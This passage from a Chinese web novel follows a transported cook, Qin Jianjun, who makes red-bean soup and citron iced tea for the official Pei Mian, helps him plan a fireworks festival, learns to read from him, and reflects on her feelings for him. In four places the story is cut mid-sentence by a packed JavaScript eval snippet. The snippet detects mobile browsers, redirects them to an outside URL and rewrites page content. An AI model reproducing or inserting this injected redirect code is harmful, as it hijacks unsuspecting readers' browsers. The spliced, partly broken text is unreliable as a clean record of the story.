“这是今日中午送来的,小之切了一个,说是极酸,无法入口。”裴眠不知道秦见君为什么看起来很喜欢香橼的样子,裴小之切开后,自己光闻着味儿就觉得牙根发酸...... 秦见君转头看裴眠的脸色纠结,就知道他应该是被酸过一回了,好笑道:“这个柠......香橼最好是别直接吃,回头我做成香橼冰茶,你再尝尝。” 看秦见君胸有成竹的样子,裴眠也不禁对香橼重新提起了兴趣。 秦见君起身取出昨日浸泡的红豆,本来想着今天煮点红豆沙喝的,没想到耽误到了晚上。 提前浸泡过的红豆加热水闷煮,很容易出沙,再将红枣去核切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13548161|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开扔入锅中,加入冰糖跟锅中的红豆沙一起炖煮,一股甜蜜的香气就溢了出来。 红豆沙煮到软烂后,秦见君用锅铲不停搅拌、怼来怼去,裴眠便伸着脖子在一旁看。 “为何要戳来戳去?”裴眠不解。 秦见君解释:“戳烂一点,入味,而且好入口。” 裴眠点点头,手里的书也不看了,只抻着脖子去看锅中的红豆沙。 最后在锅中加入牛奶,热乎乎、香喷喷的牛乳红豆沙就好了。 夜幕降临,知州府内燃起了烛火。 裴小之陪着方涟与裴礼卿在府中散步。 方涟有些担心地问裴小之:“眠眠今日用了午饭和晚饭吗?” 裴小之无奈摇头:“秦小娘身子不适,起不来床,郎君吃不下大厨房的东西,一直饿着呢......” 裴礼卿跟着轻叹了一声,三人走到了池塘边。 “这池子怎么荒着?”裴礼卿问,文人雅士最爱水与花,池塘能灌水种花,是读书人的心头好,况且这池子大小与深度都极好,荒废了着实有些可惜。 “郎君让荒着,我都劝好几次了,郎君也不打理,只说荒着便好。” 这下连方涟的脸色都有些郁郁,她清楚,只有心中平静乐观的人,才有心思侍弄花草,裴眠的心也干涸了,怎么会费心思去打理池塘呢...... “你带我去秦小娘那儿看看。”方涟道。 裴小之便引着二人往落霞轩去,意料之外的是落霞轩中无人。 “秦小娘不在?”方涟问。 裴小之也不清楚,他从落霞轩退出来,往厨房走了几步,便远远看见厨房的烛火亮着,裴眠与秦见君的身影一坐一立,锅中冒着热气,看起来十分温馨。 方涟与裴礼卿跟着裴小之,自然也看见了这一幕,两人齐齐愣住,而后对视一眼,都在对方的眼中看出了些惊讶。 裴眠尚不知爹娘在远处窥探,他正吹凉手中的牛乳红豆沙,舀了一勺往嘴里送。 绵密香甜的红豆沙混着牛奶,口感细腻,香气扑鼻,温热的牛乳红豆沙顺着嗓子一路暖进胃中,裴眠忍不住又舀了一勺。 秦见君靠在台面上细细咂摸着红豆沙,见裴眠吃得尽兴,她也很高兴,对裴眠道:“饿的时候吃甜甜的美食最好了......”说着,她像是想起什么似的,喃喃道,“好想吃桂花糖藕啊......” 她来月经时口味会稍稍改变,特别想吃甜食,韩思霖怕她吃小蛋糕腻歪,便给她做了桂花糖藕吃,此后每次来月经,她都会缠着韩思霖给她做桂花糖藕。 后来离开了含萃楼,她就很久没再吃过桂花糖藕了,今日不知怎的,忽然特别想念。 “明日吩咐下人去买莲藕。”裴眠不知道桂花糖藕是什么,但听着肯定是要用到莲藕的。 秦见君一边喝红豆沙一边点头,忽然想起府中的池塘,便问裴眠:“府里那个池塘为什么是荒的啊?不能注水进去吗?” “嗯?”裴眠咽下红豆沙,抬头看向秦见君,“注水做什么?” “种莲藕啊!”秦见君的表情鲜活了起来,“虽然买莲藕也很方便,但是自家有池塘,种起来也不费事,为什么不自己种呢?再说了,到时候还可以下塘挖莲藕,多有意思啊!” 在大荆的这些日子里,没有手机、没有电脑,导致秦见君现在觉得能下塘挖莲藕也是一桩趣事。 裴眠看她眉飞色舞的样子,忽然也有些期待起来,便应声道:“回头让小之带人去清理一下,种莲藕。” 28.第 28 章 裴小之的动作很快,翌日便带了人入府来清理池塘。 秦见君站在两侧长着绿植的石甬小路上看了会儿,好奇地问一旁的裴眠:“池塘里除了莲花还会放什么?” “鱼。”裴眠坐在树荫下,抬头看秦见君的身子在阳光下,她青衣浅浅,眉目舒展,仿佛周身的空气都是清新的。 秦见君听了,兴奋道:“能养锦鲤吗?” 裴眠挑了挑眉,虽然不知秦见君怎会知道勋贵人家才会养的“风水鱼”,但她既然开口了...... “能养。” 秦见君笑得露出一排小白牙,又看了会儿池塘清理,太阳晒久了,感觉脸上火辣辣的,于是她转头推着裴眠回厨房了。 “昨天说给你做香橼冰茶的,现在就动手吧......”秦见君一边将装着香橼的竹筐搬出来,一边对裴眠道,“你忙不忙?要一起吗?” 裴眠长这么大,很少有需要他做这些琐事的时候,即便是体力活要动手动脚,也大多是娱乐,例如马球、打猎那些,但他近日来发觉厨房的琐事也十分有趣。 将不同的食材处理好,控制火候,将食材按顺序放入锅中,再加入调味料,待美食出锅时,心中便会被成就感塞得满满的...... “嗯。”裴眠操纵着轮椅靠近台面,顺嘴道,“先前你说的烟火大会,我已有了头绪,拟了个方案,但总觉得有些不全,晚些能帮我看看吗?” 他说得轻松,丝毫不见尴尬与局促。 秦见君勾了勾嘴角,还以为他这样的天之骄子是不会“不耻下问”的,没想到他如此轻快便说出了口。 “好啊,不过要等我做好香橼冰茶。”秦见君应道,忽然她像想起什么似的看向裴眠道,“我帮你看烟火大会的方案......有什么好处吗?” 裴眠愣了一下,但想到她本就是“帮”自己,索取报酬也是正常的,便问她想要什么。 “先看看我能不能帮上你,等真的帮上了我再问你要报酬!”秦见君道。 裴眠点头。 她搬来一个大盆放在裴眠面前,往里装了半盆水,接着将香橼放了进去:“每颗香橼都要洗干净哦。” 裴眠眨了眨眼,总觉得她的口气像在哄孩子...... 秦见君上前将裴眠的袖子都挽了起来,露出他细瘦的胳膊。 “玩......洗吧!”秦见君说完便转身拿红茶去了。 六月的天一日比一日炎热起来,即便秦见君将厨房所有门窗都打开,但只要开了火,就逃不掉一身汗。 此时两人都在厨房中,秦见君生了火,烧水煮茶,厨房的温度很快便升了上去,不一会儿,连裴眠额角都有了微微汗意。 他抿唇专注地搓着手中的香橼,鼻头萦绕着阵阵清香,但周身的热气却挥之不去。 他忍不住蹙眉,厨房的四角放着冰盆,作用却不大,大厨房那边灶台更多、人也更多,真不知从前夏日是如何熬过来的...... 裴眠洗好香橼后,秦见君便换了刀和砧板到他面前,两人一起动手切。 一开始裴眠切得厚薄不均,秦见君便仔细教了他如何稳住香橼,很快裴眠就上手了,两人合力,没一会儿就将香橼都切了片。 这时红茶也煮好了,秦见君灭了火,等了好一会儿才揭开锅盖去看,茶叶渣已经沉底了,她用勺子将上面的红茶汤捞了出来,加入冰糖,放在冰盆上晾着。 “嘶......”身后忽然传来裴眠的声音。 秦见君转头去看,他正拿着一片香橼抵在唇角,脸都皱起来了,好在他颜值够硬,这样奇怪的表情也没让他有半分丑态。 “之管家都说酸了,你还敢往嘴里放?”秦见君连忙递过去一杯水。 裴眠喝了好几口才勉强缓过来,垂眸看向黄澄澄的切片香橼,牙根忍不住发酸...... 秦见君将切好的香橼均匀铺在盆里,加入糖和盐,又用杵将香橼片捣出汁,随后便将它也放在冰盆上晾着腌制。 做好了这些,她转头问裴眠:“烟火大会你准备怎么办?说给我听听吧。” 裴眠点了点头,正色道:“绵州七八月白日里极热,夜里会凉爽些,正是办烟火大会的好时候,烟火每三日放一次,持续两个月,就在平雅街南、灌水河边放,那边商铺多、街道也多,到时可准许百姓自由摆摊贸易,只需登记名册。” 秦见君听着频频点头,见裴眠看着自己,便道:“除了放烟火,你还有预算吗?” “不多。”裴眠道。 “够请瓦舍里的艺人们上街表演吗?” 秦见君在绵州看见过瓦舍招牌,但里头人少、花样也少,她进去转了一圈,发现勾栏院牌子倒是做得极醒目,看来夜生活不丰富的大荆,连勾栏瓦舍的主用途都是偏勾栏,而不是民技花活繁多的瓦舍。 “瓦舍?”裴眠知道这是什么,在虔渊州时赵浅聿带他去过,大多是富家子弟“开荤”的地方,也伴有杂剧与傀儡戏表演,很有看头,但碍于宵禁,不可久留,便只能来去匆匆,几次过后便也不再感兴趣了。 绵州也有这样的瓦舍,不过表演种类单一,且技艺并不精湛,没什么看头。 裴眠将绵州与虔渊州瓦舍的不同说给秦见君听了。 “若是将虔渊州瓦舍的艺人们请过来呢?”秦见君问,“只请两个月,夜里百姓们上街头,除了看烟火,便是看戏、听文,毕竟要是能安排瓦舍表演,百姓们就会在街上留久一些,花钱的几率也就大大增加了。” 裴眠垂眸思索了片刻,道:“我先写上,到时看官家能否给这么多预算。” 秦见君点头道:“还有摆摊贸易的事,光登记名册不够,需要提前派人去把街道两旁能用的地方都划分好,再一个个以大小和位置为标准定价‘租’出去,让百姓来找你‘租’摊位,一个摊位对应名册上的一个人,那人可以在摊位上自由买卖,但同时要遵守你定下的规定,比如不能过界妨碍百姓走路、要保持摊位整洁等等,做不到就翻倍扣租金。” 裴眠操控轮椅出了厨房,从石桌上取来纸笔,对秦见君道:“我记下来,还有何处建议?” 秦见君的手指搭在下巴上想了想,问道:“烟火三日一放......样式都是相同的吗?” 裴眠摇头:“样式繁多,可以交给专门的工匠搭配。” “那等放完第一次,你就把‘放烟火’的冠名权卖出去。”秦见君道。 “冠名权?”裴眠不理解。 “就是......就是名头,你把烟火名头卖出去。”秦见君解释道,“第一日由官家出钱放烟火,后面可以问问那些有钱人家,愿不愿意花钱放烟火,这烟火的样式和燃放的时间都可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565562|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以由花钱的人决定,例如谁谁谁家老爷过生日,包个烟火给他看,而且在灌河边放,与民同乐,名头和面子都有了!” 裴眠听了,恍然大悟——还能这么玩? 勋贵人家不缺钱,但好面子,若是告知第一场烟火是官家放的,后面放烟火的人,也会沾上官家名气,这无论是对官员,还是对商贾富户,都是宣扬名气的好渠道。 “瓦舍戏剧也是同理,花钱可以点戏文,价格定高点,没人点就唱些耳熟能详的给百姓听。”秦见君又道。 裴眠想了想,忍不住赞叹秦见君的头脑,这种花钱使唤人、买乐子的事是少爷小姐们的最爱,如此一来便可以直接将钱从贵族人家手里赚过来,他们花得开心、官家赚得开心、百姓看得开心! 再回想了一下自己的方案,裴眠忽然觉得有许多需要改动的地方,他忙转身要走。 “诶!等等!”秦见君按住他的轮椅道,“香橼冰茶还没喝!” 裴眠这才想起冰茶了,于是停下看着秦见君。 加了冰糖的红茶在冰盆上放了这么久,茶已凉透了,还带着丝丝凉气。 秦见君将腌好的香橼片加入红茶中搅拌均匀,递给了裴眠。 裴眠接过香橼冰茶,手心凉凉的,他低头嗅了嗅,茶香与香橼清香混合,沁人心脾、提神醒脑。 转念想起香橼的酸涩,裴眠还是忍不住先蹙起了眉头。 “加了冰糖的,你先尝尝。”秦见君在一旁道。 出于对秦见君的信任,裴眠将杯子送到唇边,轻轻抿了一口。 浓郁的红茶香气钻入鼻腔,舌尖漫上来的是甜味,舌根泛着茶苦,舌侧确实香橼被冲淡了许多的酸味,酸甜清香,口味复杂却又让人上瘾。 裴眠忍不住又喝了一口,这一口喝得更多,冰凉的茶水涌入口腔,一路滑入胃中,身上的燥热一下子便被驱散了,只留下嘴中的酸甜,与鼻间的茶香。 “好喝吗?”秦见君没等他回答,自己也冲了一杯喝,不过才喝了一小口就被裴眠按住了杯子。 “冰的。” 秦见君想反驳这茶才不冰,顶多算是凉的,但想起自己痛经半死不活的感觉,还是悻悻地放下了杯子。 裴眠以一种快且优雅的速度喝完了手中的香橼冰茶,接着抬头看向秦见君:还要。 秦见君又给他冲了一杯递过去,却在裴眠伸手要接的时候收回了手。 裴眠:“?” 秦见君弯腰凑过去,脸上明晃晃写着“有事相求”。 “怎么?” “嘿嘿......”秦见君笑得眉眼弯弯,讨好道,“大人......刚刚是不是说好了,如果烟火大会的方案我能帮上忙,你就给我报酬的......” 秦见君对自己的称呼一向随意,从前叫大人,后来叫裴眠,现在又叫回大人了,裴眠有些无奈地看着她,不知道她葫芦里到底卖的什么药:“想要什么?” 秦见君蹲下身,趴在轮椅边仰头看着裴眠,声音又轻又软:“大人......我不识字......特别不方便,你能教我识字吗?” 这是秦见君深思熟虑后做的决定,无论是为了日常生活还是为了日后开店,识字都是必备技能,只不过大荆的学堂不对女性开放,这才耽误了许久,秦见君想了又想,府里有个现成的状元,不学白不学! 29.第 29 章 方涟总觉得儿子近日里有些不对,自他坐上轮椅后,大多时候都待在屋子里,不见客也不说话,哪里会像现在这样见天往厨房跑?而且在秦见君身边,他连话都变多了。 这日裴眠用过晚饭,正要回书房将烟火大会的方案定下来,刚进淌虹苑就忽然被方涟给拦住了。 漂亮的妇人按住裴眠的轮椅道:“可算逮着你了。” “娘,怎么了?”裴眠不明所以地问。 方涟松开按住他轮椅的手,转到裴眠面前,弯腰凑过去细细盯着裴眠的脸看了半晌,开口问:“你喜欢秦小娘?” 裴眠怔住了:“啊?” “啊什么?你天天黏着人家小娘子,当娘看不出来?”仗着儿子行动不便不好躲避,方涟抬手捏了一把裴眠没什么肉的脸颊。 裴眠脸上吃痛,却并未生气,只微微蹙了一下眉。 他不知道方涟为何忽然说自己喜欢秦见君,难道适龄男女走得近一些,便只能是喜欢对方吗? “近日我在教秦小娘识字,同时......还有些公务需她帮忙,所以才走得近了些......”裴眠含糊其辞,烟火大会的方案在呈交给官家前,最好是不泄露出去。 果然,方涟脸上写满了“不相信”,她斜眼看裴眠道:“公务?你哄娘呢?” 什么公务需要一个乡村女子帮忙呢?这下裴眠都不知道该如何解释了,只好无奈地叹了口气。 方涟只当他是被戳穿后的无奈,她又弯腰凑近了,小声道:“秦小娘挺好的,这段日子娘观察了她许久,又漂亮又能干,就是听小之说......她出身不好?不过这也不打紧的,我和你爹又不是看家世门第的人......” “娘。”裴眠忍不住打断了她,“我没有要娶她,真的是有公务需要她帮忙。” 裴眠表情认真,这让方涟有片刻迟疑——难道自己的直觉是错的? “你真不喜欢秦小娘?”方涟问。 裴眠摇头。 “那行......”方涟直起身子舒了口气道,“你也老大不小了,先前在虔渊州时身子弱,我和你爹也不想给你添堵,但眼见着你身子一日日好起来,婚事也该提上日程了,明日我带你去沈府见见......” 话还没说完,裴眠已经操控轮椅转进了书房。 秦见君收拾完厨房便在石桌上练字,她认真描摹着裴眠给她留的字,不敢懈怠。 她并不怕学新知识,只是这些字在她脑中明明已经有样子了,现在却要被强行覆盖掉,习惯是十分强大的东西,她需要费很大力气才能改掉。 写完字,天已经黑了,她卷好纸去了书房。 “写得不错,这是明日的。”裴眠将手边的新字帖拿给秦见君,道,“今夜这烟火大会的方案便会呈递至官家桌上,最迟明日会有答复。” 这几日裴眠与秦见君除了识字,就是在忙这个方案,大到解除宵禁的提议,小到不同摊位的租金,两人都一条条拎出来细细琢磨好了,想到方案就要呈上去,裴眠便知会了秦见君一声。 秦见君在完善方案的同时,也在里面倾注了自己的想法和心血,自然是希望方案能通过的。 如今方案完成了,她不必在书房陪裴眠熬到半夜,精神一放松就开始犯困。 “呵......”她打了个呵欠,眼角溢出点泪水来,亮晶晶的。 知道这段日子累着她了,裴眠勾了勾唇角道:“去休息吧。” 秦见君正要走,袁原便推门进来了。 “湖梁县来信。” 秦见君迈出门的步子又收了回来,自上次回信已过去了两个多月,她等回信等得花儿都谢了。 袁原送完信,接过裴眠递来的烟火大会方案便退了出去。 秦见君走回书桌边,盯着裴眠手上的信封。 裴眠见她眼巴巴的样子,觉得好笑,他干瘦的手指利落地将信封撕开,取出信纸展开,足足有两页。 “信中说......”裴眠清朗的声音响起,秦见君竖起耳朵来听着。 “你爹寻遍了附近的村子,县里也走了一遭,没找到你,近日来便也没了动作......” 秦见君松了口气,又听裴眠道:“冯莲......”他才念了个名字便止住了话头,表情有些凝重。 “冯莲怎么了?”秦见君有些紧张起来,莫不是已经嫁人了? “冯莲的爹娘为她说了门亲事,她不愿意......”裴眠抿了抿唇,继续道,“而且她与下米村一书生有染,毁了名声,亲事便告吹了......” 秦见君问:“什么叫有染?她跟那个书生是两情相悦吗?” “信中说是的,估计她是想同那书生生米煮成熟饭,好躲掉婚事,如今家中正在商议她与那书生的婚事。” 秦见君点点头,想着那也不错的,是冯莲喜欢的人就好,书生大多儒雅讲理,若是上进些考取个功名,那日子也会更好过。 “信中还写了什么?”秦见君问。 裴眠摇头,将信纸递给秦见君道:“没了。” 秦见君草草扫了一眼信纸,这些日子学的新字挺多的,略略能看完信,确实没说别的了。 “要回信吗?”裴眠抬手去取毛笔,不料秦见君却摇摇头道:“不用了。” 爹娘不再寻她,冯莲也有了自己向往的归宿,她与井沟村的关系就此断了,从此以后只管向前看了。 秦见君正想同裴眠道别回去,却见他眉头蹙着,好像是从刚刚念到冯莲开始就没舒展过。 “你怎么了?怎么一直蹙着眉?” 裴眠侧头瞥了一眼被秦见君放在桌上的信,有些忧心道:“冯莲......” “她怎么了?”秦见君问。 “冯莲是乡野女子,想出如此下策是在情理之中,但这书生识字明理,怎会由着她胡闹呢”裴眠道。 秦见君想了想,她们得到的消息太有限了,无法判断什么,如今事态发展正如冯莲所愿,若是此时贸然打听、阻拦,只会引人反感...... “不知道,或许有什么难言之隐吧......”秦见君回了一句,裴眠见她并不是很在意的样子,便也没有再说了。 秦见君回了落霞轩,洗完澡便坐在桌旁数钱,这是她每日的睡前活动。 “唉......”算来算去,还是要等到十月才能攒够本金,而且还是最低的本金,若是中途出现什么差错,钱估计就不够用了。 她有些愁闷地趴在床上,半晌又翻了个身平躺着。 房梁纵横交错,她大脑放空,不一会儿就睡了过去。 翌日一早,她进厨房穿上围裙,叉着腰巡视着今日新到的食材——忽然有点想吃鸡蛋灌饼。 但是这里没有平底锅,更没有烤饼用的炉子...... 或许可以问问裴眠,能不能去铺子里定制锅和炉子,到时候还能做铁板烧、煎饼果子、烤冷面...... 她一边想着,一边取面粉揉了个面团,放在一旁。 接着又取了猪肉来剁馅,砰砰砰的剁肉声响彻厨房,盖过了轮椅滚动的声音。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573664|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待秦见君看到裴眠时,他已经在窗外坐了有一会儿了。 秦见君往剁好的肉馅中加入调料,又另外取了一个碗加酱料,热油一淋,香气便缓缓飘了出来。 “今早吃什么?”裴眠忍不住问,秦见君的厨房总是能给他惊喜。 “肉粒花卷。” 秦见君用擀面杖将面团擀成了薄薄的长方形,均匀刷上酱料,再铺上一层腌制好的肉馅,撒上葱花。 裴眠看着她葱白的手指捏起面皮的边缘,一点点将它卷成了筒,再切成小剂子,接着用筷子在剂子中间压了一下,柔软的面团裹着的肉馅便从两边绽开,十分漂亮。 秦见君将花卷放入蒸屉,低头看了看火势,确认无误后才抬起头。 “蒸熟就能吃了。”秦见君道。 裴眠点头,将手中的书举起,示意秦见君过去。 “今日要学这篇,你先将不会的字圈出来......” 两人围在石桌边学字。 树荫繁密,阳光洒在上面,漏下斑驳光影,偶有微风拂过,纸张便卷起一角,轻轻摇晃着,似是在呼朋唤友,一同享受这初夏时光。 认了一遍字后,花卷也蒸好了,秦见君将被酱料浸透面皮的花卷盛出来,放在裴眠面前。 他鼻翼微微翕动,一股咸香味钻入鼻子,在鼻腔中盘桓一圈后消散,只留下微微呛意。 裴眠夹起花卷送入口中,宣软的面皮沁着酱香,肉馅细腻又不失口感,咀嚼时会有酱汁从肉馅中挤出,浸入蓬松的面皮中,带着韧劲的面皮被汁水与口水淹没,变得柔软易碎,几乎不需要太费劲就能吞入腹中,而口齿间还留有余香。 怕裴眠腻着,秦见君打了一杯自己磨的豆浆给他。 从冰盆上取来的豆浆凉凉的,豆香浓郁、口感顺滑,裴眠忍不住微微眯起眼享受。 “眠眠,吃好早饭了吗?”不远处传来方涟的声音。 裴礼卿与方涟商议过后,仍是决定随着大厨房一起吃饭,怕累着秦见君,影响裴眠的胃口,这会儿他们刚用过早饭,便催着裴小之带他们来找裴眠。 “今日我们去沈府拜会沈大人,吃好了让小之陪你去换身衣裳。” 走近了秦见君才发现,今日裴礼卿与方涟都穿得很华贵,平日里不戴的首饰全都戴上了......看来是极重视这位沈大人的。 “我......”裴眠正要拒绝,就见裴礼卿弯腰附在他耳边说了什么,随即裴眠蹙眉想了想,接着点点头,跟着裴小之去换衣裳了。 送走裴眠,方涟与裴礼卿也没急着走,秦见君便进了厨房,将留给裴小之的花卷取了出来,问道:“今日的早饭是肉粒花卷,老爷和夫人要尝尝吗?” 方涟与裴礼卿点点头,顺势在石桌旁坐下了。 方涟连着吃了两个花卷后才想起正事,她探头看了一眼在厨房中收拾的秦见君,伸手戳了戳身边的裴礼卿。 裴礼卿忙喝了口豆浆,将花卷都顺了下去,开口道:“秦小娘。” “在的。”秦见君脱了围裙,走到石桌边,等着两位老板吩咐。 裴礼卿悄悄看了一眼方涟,见她没有要说话的意思,便硬着头皮道:“你知道我们今日带裴眠去沈府所为何事吗?” 秦见君摇头,他们一家人的事......自己怎么会知道? 见她似是真的不知道,方涟便忍不住了。 “沈大人的孙女到了议亲的年纪,我们想着眠眠也到了年纪......”后面的话方涟并未说出口,她仔细瞧着秦见君的脸色。 30.第 30 章 嗯......所以裴眠要去相亲? 秦见君眨了眨眼,等着方涟的下文,但方涟却忽然没了声,还用一种期待的目光看着自己...... 她蹙眉想了想,莫不是要自己提前备些餐食给裴眠?毕竟在他吃不下外面的东西。 于是秦见君试探道:“我......我去给大人备几个菜?” 方涟听了,愣住,半晌才问:“不用......你、你觉得眠眠去沈府......如何?” 如何?嘶...... 秦见君的大脑疯狂运转,忽然想起之前有一次直播,她正在调试设备,合作老板忽然进了直播房间,假模假样地巡视了一会儿,突然问秦见君:“你觉得这直播间里的设备怎么样?” 彼时她初入职场,怕说多错多,便保守地回了一句“还可以的”,随后那老板又问了直播间候场的另一位主播,结果那主播口若悬河、滔滔不绝,从收音设备到打光设备统统夸了个遍,合作老板这才心满意足地出了直播房间...... “我觉得大人去沈府很好啊!大人英俊潇洒、气度不凡、聪慧过人、冷静自持......”夸一半脑子卡壳了,秦见君顿了顿,好在嘴还灵活,便顺着道,“那沈府的小姐一定会被大人的魅力所折服,一见钟情!” 本以为方涟听了会喜笑颜开,没想到她的表情变得有些扭曲,一脸的欲言又止......止又欲言...... 最后还是裴眠换好了衣裳,来唤两人,方涟才不再问话,转身走了。 秦见君默默松了口气,裴眠要出门,裴小之必要跟着伺候,袁原也要跟着保护,如今府中安静得很,她在厨房前环视了一圈,最后在石凳上坐下了——今日裴眠布置的抄字作业还未完成。 午饭懒得做,她便摸到大厨房去蹭饭了,府上有许多小厮都与她相熟,尤其是专管采买与烧火的那几位,见秦见君来了,纷纷热情招呼。 “秦小娘,尝尝这道炖羊,极鲜极好吃!”小厮指着锅中的羊汤对秦见君道。 秦见君也闻到了羊汤味,于是凑过去看,羊肉连骨头被剁成块,散落在微白的汤水中。 她盛了一碗,夹起羊肉塞入口中,有些许腥膻味,但肉炖得够烂,接着她又喝了口汤,咸味是有了,但比起“极鲜极好吃”的评价还是差了一大截。 不过她还是挑眉点头,表示确实好吃,毕竟是来蹭饭的,不能砸了大厨房师傅的招牌。 吃着吃着她忽然觉察不对,她来王府这么久,怎么从未见过羊肉? 一旁的小厮看秦见君对着碗中羊肉发呆,也反应了过来:“这些羊肉都是上头分发的,有头有脸的大人府中都有,不过咱们大人不爱吃羊肉,早先就吩咐过不必送到他那儿去。” “哦......”秦见君低下头,心道裴眠不爱吃羊肉也是正常,毕竟这味道做出来确实一般...... “秦小娘爱吃羊肉吗?我给你送些去?”挨着秦见君的那小厮耳根子带着红晕,轻声问她。 “啊?不好吧?”秦见君记得大荆的羊肉还挺贵的。 “有什么不好的?”那小厮压低了声音道,“上头分发的羊肉多得吃不完,给你带几斤这事......我还是能办到的......” 秦见君想了想还是婉拒了,倒是不必在小厮这边偷偷拿羊肉,只需待裴眠回来问他要便是了,到时候给他做道好吃的羊肉,还能刷新一下裴眠对羊肉的印象,说不定他又变得爱吃了呢。 吃饱喝足后秦见君溜达着回落霞轩,路过池塘时停下了脚步。 池塘已经修好了,有早熟的荷花盛开在水中,花瓣厚实饱满,边缘泛着红,越往花蕊去颜色越淡,一瓣瓣层层叠叠的,上面还盛着晶莹的水珠,水灵又漂亮。 秦见君走到池塘边蹲下,探头去看,正好有几尾锦鲤正绕着荷叶茎游弋,红白相间的鳞片十分养眼。 她伸手摘了一片荷叶垫在屁股下面,直接坐在了池塘边,双腿盘起,两只手拢在一起撑着下巴,悠闲地盯着水中锦鲤。 池塘里是活水,且刚刚才清理过,并没有水腥气,甚至能闻到淡淡荷花香,耳边传来蝉鸣与鸟叫,秦见君渐渐阖上眼,放空大脑。 有多久没这么放松了?又或者,有多久没这么沉浸式感受过大自然了呢? 每天不是围着厨房转,就是去公司直播、拍视频,少数的空闲时间都在补觉,要么就是在刷手机视频,要不是有一次出门时被风吹过来的花朵砸了脑袋,她都不会发现小区绿化带里种的是木槿花...... “嗯......真舒服......”她忍不住小声喃喃了一句,头顶忽然响起树叶摇晃的娑娑声——起风了。 方才还艳阳高照,风刮过后便开始阴沉起来,连锦鲤的鱼鳞都变暗淡了。 秦见君想抬起头看看天,可视线却落在了池塘对面——她第一次见裴眠,他就坐在那儿。 不知想到了什么,她忽然笑出了声。 没一会儿,风更大了,头顶的乌云团团围起,要下雨了。 秦见君起身将荷叶铺在水面上,然后转身往落霞轩跑。 这雨下得急,她还没到落霞轩,雨点便劈头盖脸地砸了下来,待她跑进屋子时,发梢都湿了。 雨声磅礴,屋子里闷得慌,她伸手推开了窗,空气中弥漫着淡淡的土腥味,裹挟着微凉的风吹进屋子里,好歹是驱散了些憋闷。 凭窗听雨也是极悠闲的人才有的雅趣,秦见君结结实实体验了一番。 雨水顺着屋檐滑落,院子里的花草都变得朦胧起来,秦见君趴在窗边,不自觉地想,这么大的雨,撑伞也遮不住,若是裴眠这时要回府,那肯定会被打湿的...... 不打伞,换成蓑衣会不会好一些呢?她忍不住想——好像也不会,坐着穿上蓑衣,腿脚也还是在外头......如果淋湿的话,衣裳便会贴在腿上......他的腿也像手一样瘦吗?听说瘦子很容易有腹肌,裴眠有吗?不知道手感怎么样...... 忽然,她猛地支起身子,有些不可置信:我这是在干嘛?想男人?我真是饿了! 她从前对男女之事完全不感兴趣,读书时只奔着成绩去,后来离开孤儿院,被韩老爷子带在身边,便时常听到韩思霖的叮嘱:男人是豺狼、是虎豹,尤其是帅气的男人,不仅长着刺,刺上还带毒! 韩思霖走后,她又一头扎进事业中,其中当然不乏有适龄男性向她释放好感,但她实在不感兴趣,也没有时间维护,所以直到死,她还是个母胎单身...... 秦见君抬起手揉了揉脸,试图清醒些,思绪却不住往裴眠身上偏。 裴眠确实很好,长得好、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13580035|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑子好、性格好、家世好...... 但就是因为太好了,所以这样的男人注定是无法跟自己并肩同行的,以他的能力和抱负,将来一定会站在万人瞩目的位置,可那样的位置并不是秦见君的目标。 她与他,根本就不是一路人。 “秦见君......”她闭上眼,伸出手指揉着太阳穴,自言自语道,“帅哥可远观而不可亵玩......看看得了,别肖想......” 外面雨声不断,方才还觉得清脆悦耳,这会儿却显得嘈杂,一滴一滴将秦见君的心搅乱。 半晌,她泄气般放下手——男人真的有毒!明明早上他出门时自己心情还好好的,可这才想了他一会儿,心情就烦闷起来! 她起身从柜子里翻出银钱来数,每次数钱她都能静下心,眼下却不知怎的,越数心越乱。 她停了手,攥了攥拳头,指尖嵌入手掌中,戳得有些痛,但这样的疼痛并不能将她从烦闷中带出来。 她开始细细回忆,自己是从哪里开始转变心态的呢? 早晨听说裴眠要去相亲时,自己是怎么想的? 